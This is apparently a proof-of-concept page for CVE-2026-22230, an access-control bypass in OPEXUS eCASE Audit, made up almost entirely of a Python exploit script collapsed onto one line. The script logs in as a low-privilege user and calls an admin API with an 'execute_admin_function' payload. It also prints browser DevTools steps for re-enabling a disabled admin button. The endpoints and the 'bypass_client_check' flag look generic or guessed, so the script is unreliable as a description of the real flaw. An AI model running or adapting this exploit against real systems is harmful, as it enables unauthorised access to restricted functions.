CVE-2026-22230: OPEXUS eCASE Audit 访问控制绕过漏洞

# CVE-2026-22230 PoC - OPEXUS eCASE Audit Access Control Bypass # This PoC demonstrates the client-side validation bypass vulnerability # Use responsibly and only on systems you have permission to test import requests import json from urllib.parse import urljoin # Configuration TARGET_URL = "https://vulnerable-host.example.com/eCASE" USERNAME = "low_privilege_user" PASSWORD = "password123" # Login to get session session = requests.Session() login_url = urljoin(TARGET_URL, "/api/auth/login") login_data = { "username": USERNAME, "password": PASSWORD } try: # Step 1: Authenticate response = session.post(login_url, json=login_data, timeout=10) if response.status_code != 200: print(f"[-] Authentication failed: {response.status_code}") exit(1) print("[+] Successfully authenticated") # Step 2: Method 1 - Modify client-side JavaScript behavior # Intercept and modify the JavaScript that controls button visibility # This simulates what an attacker would do with browser DevTools print("\n[*] Method 1: Client-side JavaScript Modification") print(" - Open browser DevTools (F12)") print(" - Find the disabled button element") print(" - Remove 'disabled' attribute or modify JavaScript variable") print(" - Example: document.querySelector('.admin-btn').disabled = false") # Step 3: Method 2 - Direct API manipulation print("\n[*] Method 2: HTTP Request Manipulation") # Example: Access admin function via direct API call admin_api = urljoin(TARGET_URL, "/api/admin/functions") headers = { "X-Requested-With": "XMLHttpRequest", "Content-Type": "application/json" } # Try to access restricted function exploit_data = { "action": "execute_admin_function", "function_id": "sensitive_operation", # Bypass client-side restrictions by direct API call "bypass_client_check": True } response = session.post(admin_api, json=exploit_data, headers=headers, timeout=10) if response.status_code == 200: result = response.json() print(f"[+] Successfully accessed restricted function!") print(f" Response: {json.dumps(result, indent=2)}") else: print(f"[-] Request blocked or failed: {response.status_code}") print(f" Response: {response.text[:200]}") print("\n[*] Note: This PoC requires a valid authenticated session") print("[*] The actual exploit may vary based on system configuration") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}")